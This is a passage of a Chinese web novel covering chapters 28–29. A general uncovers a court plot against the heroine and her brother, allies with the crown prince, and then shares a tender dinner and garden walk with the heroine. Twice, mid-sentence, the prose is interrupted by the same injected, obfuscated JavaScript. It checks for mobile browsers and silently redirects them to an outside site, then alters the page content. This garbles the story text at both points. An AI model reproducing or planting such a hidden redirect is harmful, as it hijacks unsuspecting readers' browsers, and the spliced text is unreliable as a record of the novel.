楚悦的心里暖暖的。 可又有种不真实之感,一个人对另外一个人好,可以不求回报,但一定会有理由。她实在想不出,明明他过去对自己很冷淡,出征前一日就突然变了。 不过,现在应该还不到他们谈这个的时候吧。 再看一眼完好的无缺、仍活生生在他眼前的姑娘,景璃:“我走了,有任何需要只管跟关嬷嬷说。” 楚悦点头。 景璃抬步离开。 “等等。”楚悦叫住景璃。 景璃回头:“怎么了?” 楚悦垂眸掏出之前他借给她的帕子,双手递过去:“万事小心。” 景璃就看到白皙的掌心托着一张叠得四四方方的帕子,帕子上多了双翩翩飞舞的蝶。 28. 第 28 章 出了和园,景璃带着长安来到兴义坊隔壁的一处私宅。 前来打探的长青早等着了:“人在里面,一直没出来过。” 这里是黎青一个外室的居所,小小的一处民宅,平日里只有黎青的外室及她的丫鬟。 景璃:“进去找人。” 长安用佩刀从外面将里面的门栓拨开,推开门,长青制住听见动静出来查探的丫鬟,但没阻止她喊叫。 屋里,黎青眯着眼趴在床上,感受着温柔的按摩,闻言腾地坐起来。 不会是被家里的母老虎发现了吧。 “快躲起来。” 黎青一把推开衣衫不整的外室,跳下床去穿衣:“你先走,从后门。” 外室的脸都白了,手忙脚乱去捡散落在地上的衣裳,而后匆匆忙忙离开。 黎青穿好衣服贴在后门处听了阵,没有动静,说明母老虎的人并没有发现这座小院子有后门。黎青心满意足抻了抻有些皱的衣摆,不慌不忙往后门走。 刚了一露面,就看到外室被长安用不知什么捂住了嘴,正可怜巴巴看着他。 “是你!” 黎青猛地顿住脚步,他认出了长安,他知道长安是景璃的手下。 长安笑眯眯开口:“小国舅请,大将军在前院等您。” 黎青的冷汗一下子就下来了。 他的确觊觎楚家那个小娘子,之前看在她父母双亡的份上想纳她为外室,结果被景璃撞见,那一次差点被他打残;景璃出征后他又去挑逗过几次,回回都没落着好,一来二去也就放过她了。 这阵势,怕是来者不善啊。 黎青抬袖擦了擦额间的细汗,挤出笑容:“我有事急着去处理,劳驾你帮我跟大将军去说一声,下回,下回我请他喝茶。” 长安笑了下,抬起手一个手刀:“小国舅不肯,小的只能亲自送您去见大将军了。” 黎青眼睁睁看着外室软绵绵倒在地上,立即出声:“我,我自己走。” 长安比手做了个请的手势。 黎青在堂屋里见到了景璃,小心翼翼地凑上前:“不知大将军找我所为何事?” 景璃:“谁指使你对楚家兄妹下手?” 闻言,黎青第一个反应是景璃是蒙的。 他知道景璃会怀疑他,所以给那两个杀手的命令是不管得手不得手,下手后就只管逃跑,景璃找不到人就不可能就不可能将这事算到他头上。 黎青不住安慰自己,竭力装作不知情:“大将军误会我了,我怎么可能去做那样的事?” 景璃:“凶手已经招供,你若告诉我到底谁在指使,我只当没见过你,如若不然,我将这两人交到石御史手上,你可要想想后果。” 黎青顿时慌了。 谁不知新来的石御史忠心耿直,连圣上都忌惮他三分,这事若是挑到石御史手里,不光他新捐的官没了,父兄也要骂死他。 黎青在心里跟姐姐说了声对不住,豁出去了:“大将军误会了,没人想害楚姑娘,是贵妃娘娘不忍见到皇后娘娘李代桃僵利用楚姑娘去和亲,才想请楚姑娘姐弟去别院住上几日。娘娘没有恶意,还请大将军明鉴。” 姿态他已经摆足了,何况姐姐丽贵妃是圣上的宠妃,外甥康王大有取代太子之势,景璃虽是风头最盛的武官,可他无朋无党,总不至于跟丽贵妃与康王过不去。 景璃眸光一凛,与他猜测的不错。 这样一来,所有的都说得通了。 * 从黎青处出来,景璃回到国公府,让人给太子递了张帖子。 用过午饭,景璃就由太子的幕僚亲自引着去了一处私人别院。 太子乃皇后所生,是圣上的第二个皇子,比楚悦大一岁,为人敦厚谦和。 自从晏家被打压之后,太子的势力大不如前,支持他的都是前朝的老臣,但这些人本身就令圣上忌惮。 他当然知道要拉拢定国公府这样的保皇派,但景璃不站队,之前一直没有找到机会。 太子亲自出来迎接景璃:“大将军请。” 对方客气,景璃自然也客气,按规矩给太子行礼。 分主宾坐好,太子斟酌道:“大将军找孤前来,不知有何指教。” 对于多活了一世的人而言,将来谁坐上那个位置对他而言并无区别,既然太子前世并非败在自身无能,他又何必眼睁睁看着丽妃娘娘和康王势大,坐等他们影响他与阿悦的安宁。 景璃掏出一张根据记忆整理出来的名单,递给太子:“这是根据庞挺死前透露出的名单,这些人也曾经参与倒卖粮草,只是不知朝廷迟迟还没有追究。” 庞挺是与西戎之战中的后勤官员,因为私利不仅倒卖粮草,还向西戎出卖大晋的军机,前世就是有他这样的壷虫在,大晋惨败。 康王的人就是庞挺的后台,只不过因为这事由康王的心腹侦办,被暗地里压下去。 这一世他还在两军开战之前就将庞挺处理了,依旧是康王主动揽下肃清军中壷虫的重担,依旧像前世象征性地处理了几个无足轻重的人。 太子自然分得清清单上这些人的阵营,看完,太子义愤填膺:“难怪军费年年涨,年年不够,原来是被这些人贪墨了。” 两方相持,胜负只在一念之间。 太子深知这张清单与景璃手上拿两个凶手对扳倒康王的作用,深深向景璃作揖:“孤替大晋百姓感谢大将军,大将军放心,有孤在一日,绝不会将民生大计落入歹人之手。” 出于礼节,景璃对拜:“殿下言重。” 太子站起来,他当然明白一向明哲保身的景璃不会无缘无故出来给他指引明路:“大将军帮朝廷这样的大忙,不知孤有何可与大将军做的?” 和聪明人就是好说话,景璃意味深长道:“听闻石御史在重查湘王一案,但下官听说湘王的一对儿女被刺客袭击,好巧不巧那刺客来自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972993|146109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右丞相府。下官以为,在湘王的案情水落石出之前,至少要确保楚家姐弟的安稳,免得寒了守疆拓土的将士的心。” 太子心惊,景璃这是要保湘王的一双儿女了。 作为皇后的儿子,他当然知道母后想要楚悦代替妹妹去和亲一事,也清楚了皇后之所以选楚悦而不是别的宗室之女的原因。 一来是楚悦乃父皇的私生女,情理上说得过去,就算父皇事后知道真相,也不会怪罪母后;二来,有人在追查湘王被诬陷一事,母后的确想凭楚悦的和亲之功,拉湘王府一把。 太子承诺:“大将军放心,圣上明鉴,一定会还湘王叔公道;至于阿悦阿昕,那是自家弟弟妹妹,孤也会请母后照拂一二。” 从别院出来,景璃没有回定国公府,也没有回善平坊。 虽得到了太子彻查湘王被诬与取消阿悦和亲的承诺,并不意味着高枕无忧。只要是与阿悦相关的,他宁可多费些功夫,也要确保万无一失。 当景璃在外奔波一下午,京城的暮鼓敲响的时候,长安问景璃:“世子回哪里?” * 经过多半日的熟悉,楚悦闭着眼睛也能找到和园的任何地方。 花园里,小丫鬟初云兴致勃勃地问楚悦:“姑娘是否还想去别的地方看看?” 楚悦的注意力被一阵阵传来的暮鼓声吸引,六百下之后,坊门就会关闭了。 经过多半日的相处,初云已经知道这楚姑娘温柔又好相处,大着胆子伸手在突然呆住了的姑娘眼前晃了晃:“姑娘?” 楚悦回神,为自己刚才的走神微微有些不自在,她竟然在想,他待会会不会回来。 比起和关嬷嬷她们说话晒太阳,初云更喜欢跟楚悦这样年轻的姑娘四处看看,重复了一遍刚才的问题。 楚悦:“不去了,回去吧。” 初云点点头,返回楚悦之前赏花的八角亭,收好茶盏和没吃完的点心,返回楚悦的住处。 已是五月下旬,天已经热了,初云打来水给楚悦洗脸洗手。 楚悦洗完脸,任不冷不热的水流淌过手心,有些心不在焉。 最后一声鼓声停了。 楚悦回神,拧干帕子,将手心手背都擦了。 初云去倒水,屋内只剩下自己,楚悦忍不住为方才偷偷生出的念头自嘲。 在这里想有什么用,坊门这回已经关了,他来不来的,一会就能见分晓了。 楚悦起身出屋,去找老两口。 毕竟是别人的地盘,老两口总有些不自在,一直待在自己的院子里,生怕出了差错。 她表现得越自如,他们才能越轻松。 楚悦住在正房后面西侧独立的小院,老两口住在西厢房的北房,两者之间通过游廊相连,楚悦刚走到西厢房的走廊,就看到垂花门前那道魁梧的身影。 “世子。” 楚悦的心狠狠跳了下,她听见内院里的初云在给他请安。 29. 第 29 章 仿佛有感应一般,楚悦看过去的时候,景璃也看过来。 内院算得上宽敞,但他目力好,能清楚看清姑娘惊讶的表情,以及她因惊讶微张的唇瓣。 但这姑娘害羞,四目相对,这姑娘就匆匆垂下眼帘,只留给他一道纤细袅娜的侧影。 只有他自己清楚,这样一回来就能看到她,前世就是做梦都不敢想。 攥了攥垂在身侧的手,景璃看着楚悦的方向吩咐初云:“待楚姑娘问起,就说我在前院,你再去知会关嬷嬷一声,晚上为楚姑娘接风。” 他没有刻意压低声音,楚悦也能听见,按他的意思,晚上也要一起用膳? 楚悦往老两口的方向走,边走边懊恼,才说过要大大方方的,连对视都做不到。难道面对意中人时,总能一下子就感受到他的目光,心总是要这样噗通直跳? 到门口了,姜婆婆迎出来:“姑娘来了。” 楚悦走进去,好奇:“姜爷爷不在?” 姜婆婆笑:“他闲不住,去前院了,非要亲自去看这和园的布防,说万一对方胆大包天闯进来,至少能做到心里也有数,免得摸头不知脑。” 楚悦心里暖暖的。 老人就是这样吧,就算她已经长大成人,就算阿昕现在都比她高,还当他们是没有长大的小孩子,尽他们的能力护他们周全。 楚悦眉眼弯弯:“您与姜爷爷大可宽心,有世子在,不会有宵小敢侵犯。” 姜婆婆惊讶:“世子来了?” 楚悦垂眸:“嗯。” 姜婆婆满怀欣慰。 在这个以男子主导的世道,婚姻对女子而言就是一道坎,一步错步步错。她一开始也担心齐大非偶,日子越久,越能感觉到外人眼里凶神恶煞一般的大将军的诚意,也越发觉得他可靠。 这两人无疑有情,只不过从身份地位上来看由男方占据主导,姑娘家又太善解人意,她只担心楚悦因为不好意思从而勉强自己跟随他的进度。 姜婆婆拉住楚悦的手,语重心长:“姑娘可想清楚了?若是不方便向世子说的顾虑,不妨由老婆子出面,相信世子也会很好说话。” 楚悦抬头,一双乌黑明亮的葡萄眼亮亮,为姜婆婆的细心而感动。她没见过祖父母,也没有见过外祖父母,在她心里,姜婆婆就是亲近的长辈。 “嬷嬷放心,”楚悦回握住姜婆婆,绽出由衷的笑容,“他很好,我也想得很清楚。” 对于将来,她的确有顾虑。 比如她无法避免去和亲,抑或是他被四公主或是别的世家贵女缠上。 可她的心意和他的诚意领她确信,这些不确定并非他们的本意,如若真的发生,一定是迫不得已。 所以呢,到了这一步,她就不想再留遗憾。 “那就好。”姜婆婆为楚悦高兴,这下她没有什么不放心的了。 一老一少不慌不忙聊着,日头逐渐西沉,当橙红的落日歇在檐角的时候,初云来请示楚悦:“世子在花厅为姑娘设宴洗尘,来请姑娘移步,姑娘见不见?” 楚悦心头一跳,那花厅就在对面的东厢房,还至于亲自来请么。 对上姜婆婆善意的笑,楚悦不知不觉红了脸,回复初云:“你去跟世子说一声,我稍后自己过去。” 初云一走,楚悦忍不住开始紧张。 怎么办?真的要去了。 她一直在告诫自己大大方方的,可真要单独相处了,没办法做到预想中那样。 楚悦站起来,突然想起是不是要回去换身衣裳。 走了几步又想,没有外人,就是一起吃顿晚饭。他那时都看见了她,特意换身衣裳,未免显得太过郑重,反倒不自然。 姜婆婆看懂了楚悦的百转千结。 大约刚陷入情爱里的姑娘都这样吧,迫不及待去见那个人,却又担心哪里没有准备妥当。 姜婆婆笑眯眯开口:“姑娘放心去吧,情人眼里出西施,在有心人眼里,怎么样都好。” 猝不及防被打趣,也相当于得到了来自长辈的祝福,楚悦受到鼓舞。 她在他那里似乎没有秘密,所以他心仪的本就是原原本本的自己,那还纠结什么,该什么样就是什么样。 楚悦深吸一口气:“我去了。” * 从这边到花厅,其实离得很近。 走下台阶,再横穿内院,其实就到了那边。 她刚迈下台阶,景璃就过来了:“住得习惯么?” 楚悦没想到他开口就是这样一句话,来到他身侧,下意识点头:“都挺好的。” 景璃:“这里面的布置你若有别的想法,只管告诉关嬷嬷和管家,他们都听你的。” 楚悦抿唇,无缘无故地,她改这里的布置做什么。 景璃猜她没有听懂,又补充了句:“我以后也听你的,尽管将这里当成你自己的地方。” 再听不懂就是不开窍了,楚悦的脸刷地红了。 她以为有些事心照不宣就够了,为彼此的处境留些余地,没想到他就这样说出来,以这样家常的语气。 楚悦连脖颈都是烫的:“知道了。” 她快走两步,几乎是落荒而逃。 却不得不承认,这样的坚定能撩动人心。 景璃看到了姑娘的脸爆红的瞬间,狭长的眼尾里溢出一丝笑。 楚悦来到花厅,厨娘已经上好菜,两个人,一桌好菜。最吸引楚悦的是其中两道,辣椒炒肉和麻辣子鸡。 楚悦震惊地看向景璃。 她在霖州长大,喜辣。家里出事后她再也没有吃过这两道菜,一来材料贵,二来姜婆婆不会。 景璃招呼楚悦坐好,再在她对面坐下:“那年元宵去宫里赴宴,圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989464|146109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上赐给你们一家这两道菜,我见你与阿昕都很喜欢。” 楚悦的心头一阵滚烫。 那次赴宴已是三年多前,同样的东西,只不过宫里的菜品更精致,她没想到他竟然连这种小事都记住了。 这是不是意味着,他兴许还记得更多与她有关的事,这人早就惦记上了她。 可他未免也藏得太好。 景璃两种菜各夹了一筷子放在楚悦的碗里:“先将就着吃一顿,等厨娘到了,再给你做地道的霖州菜。” 楚悦的眼睛都睁圆了,竟然还有专门请的厨子,他的动作竟然这样快。 景璃尤其喜欢看姑娘因为惊喜格外明亮的眼,目光往下,从她因为惊讶微启的唇瓣上掠过,景璃恨不得将所有的心意都摊给她看:“是老早就物色好的厨娘,一直在庄子上等着,只等你来。” 楚悦的胸膛里既暖又软,很少会有人会对这样的诚意无动于衷吧。 楚悦自认为不算贪吃的,难得吃到家乡菜,虽没有那样正宗,等楚悦放下筷子的时候,感觉到了难得的畅快。 吃完饭,景璃提议去后院的小花园里走走。 楚悦同意,她这样的状况的确不适合直接回房。 天已经黑了,月底的空中没有月亮,只有满天星斗。 后院里除了她以外,没有其他人居住。 等两人抵达的时候,楚悦发现花园里隔一段距离就点着一盏纱灯。 昏黄的光线在花园里若有若现,朦朦胧胧,四周静悄悄地,除了细弱的虫鸣,楚悦有种置身梦境之感。 幸好夜色够黑,他看不清她的表情,楚悦顶着热意澎湃的脸,问身侧之人:“这也是你让人提前准备的?” 景璃提着灯笼,暖融的光晕恰到好处照耀着楚悦脚下的路。 他坦荡开口:“是。” 低低沉沉的声音为这样的夜色更添几分梦幻。 楚悦垂下眸子,就没有什么事他意外之外的事么? 两人并排,继续徐徐前行着。 和园的花园不大,要想达到移步换景的效果,布置起来就格外需要巧思。才绕过太湖石,就踏上了由花木围成的幽径,曲曲折折没走多远,又到了六角亭……仿佛没有尽头。 白天还好,夜里不够明亮时就很容易遇到障碍,偏偏楚悦是来消食的,不能干脆找个地方坐下来。 在景璃又一次提醒“小心”之后,楚悦还是在下台阶的时候踏空。 楚悦暗道不好。 她左侧的人动了,他左手提着的灯笼在晃,右手将她的左手臂稳稳托在手里。 不知是刚才那一下惊的,还是因为这突如其来触碰造成的,楚悦在寂静的夜里清晰听到了自己的心跳。 楚悦下意识收手。 但那只手不仅没有松开,反而顺势往下,将她的手包在他的掌中。